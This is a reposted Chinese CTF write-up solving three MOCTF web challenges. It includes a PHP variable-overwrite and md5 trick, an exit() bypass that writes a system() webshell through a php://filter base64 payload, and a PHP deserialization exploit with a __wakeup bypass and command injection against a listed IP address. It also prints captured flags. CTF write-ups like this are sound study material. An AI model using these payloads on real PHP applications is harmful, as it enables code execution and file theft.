MOCTF

Posted sylover

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了MOCTF相关的知识,希望对你有一定的参考价值。

花了几个小时做了一下moctf,整理了几个当时没做出来的题

  • unset
 <?php
highlight_file(‘index.php‘);
function waf($a){
foreach($a as $key => $value){
        if(preg_match(‘/flag/i‘,$key)){
        exit(‘are you a hacker‘);
}
}
}
foreach(array(‘_POST‘, ‘_GET‘, ‘_COOKIE‘) as $__R) {
        if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
     }

}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET[‘flag‘])){
if($_GET[‘flag‘] === $_GET[‘daiker‘]){
        exit(‘error‘);
}
if(md5($_GET[‘flag‘] ) == md5($_GET[‘daiker‘])){
        include($_GET[‘file‘]);
}
}

?>

代码中涉及了几个函数。

 

1.waf

function waf($a){
foreach($a as $key => $value){
        if(preg_match(‘/flag/i‘,$key)){
        exit(‘are you a hacker‘);
}
}
}

这个函数中对于$a的限制即$a中不能出现"flag",

 

2.

foreach(array(‘_POST‘, ‘_GET‘, ‘_COOKIE‘) as $__R) {
        if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
     }

}

foreach:用来遍历数组。

foreach (array_expression as $value)
foreach (array_expression as $key => $value)

这一段是核心的部分,遍历数组,存放在临时变量$__R中,$$__R也就是$__R的值,$__R作为变量名。

将$$__R存放在$__v变量中。$__k也就是_GET[flag],而$$__k就是_GET[flag]的值

即POST传过去的内容为_GET,这样我们就可以达到if(isset($$__k) && $$__k == $__v) unset($$__k); 这里$$__K就是get参数的值,而$__V是POST传入数组里的键值的值。

3.

if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET[‘flag‘])){
if($_GET[‘flag‘] === $_GET[‘daiker‘]){
        exit(‘error‘);
}
if(md5($_GET[‘flag‘] ) == md5($_GET[‘daiker‘])){
        include($_GET[‘file‘]);
}
}

最后一段代码中,利用到了md5碰撞,其中传入的三个参数flag,daiker,file都需要绕过waf。

因此最终的payload:

技术图片

 

FLAG:moctf{e2181b5o14a67159cc23oc8feod6c5b6}

 

  • 死亡退出
<?php
  show_source(__FILE__);
  $c="<?php exit;?>";
  @$c.=$_POST[‘c‘];
  @$filename=$_POST[‘file‘]; 
  if(!isset($filename))                    
  {                                       
    file_put_contents(‘tmp.php‘, ‘‘); 
  }                                 
  @file_put_contents($filename, $c);
  include(‘tmp.php‘);
?>

涉及的第一个问题如何绕过执行exit语句,上网看了一下wp之后发现用下面一种方式即可绕过。

技术图片

使用base64的解码方法时,base64的解码方法时以4个字节为一组,且会过滤一系列的特殊字符,<?php exit; ?>会被修正为phpexit这七个字符,我们只需要在写入变量c时在开头随便补充一位,在进行base64加密和解密时phpexit便会失效。<?php system(‘cat flag.php‘);?>    base64加密后为:PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

在开头再添加一位字符bPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

payload:c=bPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==&file=php://filter/write=convert.base64-decode/resource=tmp.php

查看元素:

技术图片

  • PUBG

技术图片

查看源码后发现有bak文件。

技术图片

打开bak文件。  

<?php
    error_reporting(0);
    include ‘class.php‘;
    if(is_array($_GET)&&count($_GET)>0)
    {
        if(isset($_GET["LandIn"]))
        {
            $pos=$_GET["LandIn"];
        }
        if($pos==="airport")
        {
            die("<center>机场大仙太多,你被打死了~</center>");
        }
        elseif($pos==="school")
        {
            echo(‘</br><center><a href="/index.html"  style="color:white">叫我校霸~~</a></center>‘);
            $pubg=$_GET[‘pubg‘];
            $p = unserialize($pubg);
            // $p->Get_air_drops($p->weapon,$p->bag);
        }
        elseif($pos==="AFK")
        {
            die("<center>由于你长时间没动,掉到海里淹死了~</center");
        }
        else
        {
            die("<center>You Lose</center>");
            
        }
    }
?>

传入的参数赋值给pos,接着序列化一个pubg变量,开头还有一个class.php文件,打开class.php.bak。                                      

<?php
    include ‘waf.php‘;
    class sheldon{
        public $bag="nothing";
        public $weapon="M24";
        // public function __toString(){
        //     $this->str="You got the airdrop";
        //     return $this->str;
        // }
        public function __wakeup()
        {
            $this->bag="nothing";
            $this->weapon="kar98K";
        }
        public function Get_air_drops($b)
        {
                $this->$b();
        }
        public function __call($method,$parameters)
        {
            $file = explode(".",$method);
            echo $file[0];
            if(file_exists(".//class$file[0].php"))
            {
                system("php  .//class//$method.php");
            }
            else
            {
                system("php  .//class//win.php");
            }
            die();
        }
        public function nothing()
        {
            die("<center>You lose</center>");
        }
        public function __destruct()
        {
            waf($this->bag);
            if($this->weapon===‘AWM‘)
            {
                $this->Get_air_drops($this->bag);
            }
            else
            {
                die(‘<center>The Air Drop is empty,you lose~</center>‘);
            }
        }
    }
?>

(1)这里定义了一个sheldon类,里面 有两个public成员  public $bag="nothing";  public $weapon="M24";。

(2)里面有五个成员函数。

①function __wakeup()

②function Get_air_drops($b)

③function __call($method,$parameters)

④function nothing()

⑤function __destruct()

之后我们开始分析,由于在index.php中我们知道要传入一个序列化后的对象,并且class.php中正好只有这个一个类。所以我们可以大胆猜测我们需要构造一个sheldon的对象。

而我们知道, __wakeup()函数在其所在对象反序列化的时候自动调用。所以如果我们构造sheldon对象并反序列后,我们的对象内部就会自动调用wakeup函数,

 $this->bag="nothing";
 $this->weapon="kar98K";


在析构函数中

public function __destruct()
{
  waf($this->bag);
  if($this->weapon===‘AWM‘)
  {
   $this->Get_air_drops($this->bag);
  }
   else
  {
                die(‘<center>The Air Drop is empty,you lose~</center>‘);
  }

最后的析构函数可以看出我们需要传入的weapon值为AWM,然后会执行Get_air_drops函数,其参数为bag,此时我们我们知道Get_air_drops函数会以函数的方式执行bag。只要传入一个类中不存在的函数,其便会被call方法执行。

当对象内容执行结束后会调用析构函数,也就是说这个函数一定会被执行。

①对当前对象的bag成员执行waf函数(这个函数在waf.php中,但是我们目前无法得到waf.php中的内容)。

②然后if中条件满足的话,我们执行Get_air_drops函数,否则输出一行字。Get_air_drops()会执行我们传入的函数

跟进一下_call函数        

public function __call($method,$parameters)
        {
            $file = explode(".",$method);
            echo $file[0];
            if(file_exists(".//class$file[0].php"))
            {
                system("php  .//class//$method.php");
            }
            else
            {
                system("php  .//class//win.php");
            }
            die();
        }

之后是一个php的重载方法__call(),__call()方法用于监视错误的方法调用,该方法有两个参数,第一个参数会接受不存在的方法名,第二个参数则以数组的方式接受不存在方法的多个参数。也就是说只要我们可以传入一个类中不存在的方法,他便会被call方法所执行。

总结一下最后的思路:

①系统肯定要执行__destruct()函数,由此函数执行不存在的函数从而调用__call()。又因为我们的脚本中存在__wakeup()函数所以它会讲我们的weapon强制改成kar98K,导致我们无法调用Get_air_drops()函数。所以我们需要绕过它(下面讲一下)。

②成功绕过__wakeup()后,执行call函数,并满足第一个条件后运行“system("php  .//class//$method.php");”得到flag。

 现在需要写一个脚本来输出序列化的字符串

<?php
class sheldon{
        public $bag="//win.php| cat ./class/flag";
        public $weapon="AWM";
        // public function __toString(){
        //     $this->str="You got the airdrop";
        //     return $this->str;
        // }
        public function __wakeup()
        {
            $this->bag="nothing";
            $this->weapon="kar98K";
        }
        public function Get_air_drops($b)
        {
                $this->$b();
        }
        public function __call($method,$parameters)
        {
            $file = explode(".",$method);
            echo $file[0];
            if(file_exists(".//class$file[0].php"))
            {
                system("php  .//class//$method.php");
            }
            else
            {
                system("php  .//class//win.php");
            }
            die();
        }
        public function nothing()
        {
            die("<center>You lose</center>");
        }
        public function __destruct()
        {
            //waf($this->bag);
            if($this->weapon===‘AWM‘)
            {
                $this->Get_air_drops($this->bag);
            }
            else
            {
                die(‘<center>The Air Drop is empty,you lose~</center>‘);
            }
        }
    }
$a = new sheldon();
print_r(serialize($a));
// var_dump((unserialize(serialize($a))));

?>

output:O:7:"sheldon":2:{s:3:"bag";s:27:"//win.php| cat ./class/flag";s:6:"weapon";s:3:"AWM";} (但是需要修改参数个数 2改为其他数)

最终的payload:120.78.57.208:6001?LandIn=school&pubg=O:7:"sheldon":3:{s:3:"bag";s:27:"//win.php| cat ./class/flag";s:6:"weapon";s:3:"AWM";}   

               

以上是关于MOCTF的主要内容,如果未能解决你的问题,请参考以下文章

MOCTF RE 暗恋的烦恼

MOCTF

MOCTF-火眼金睛

MOCTF——Crypto八道WP

moctf 没时间解释了 条件竞争漏洞

Moctf---简单注入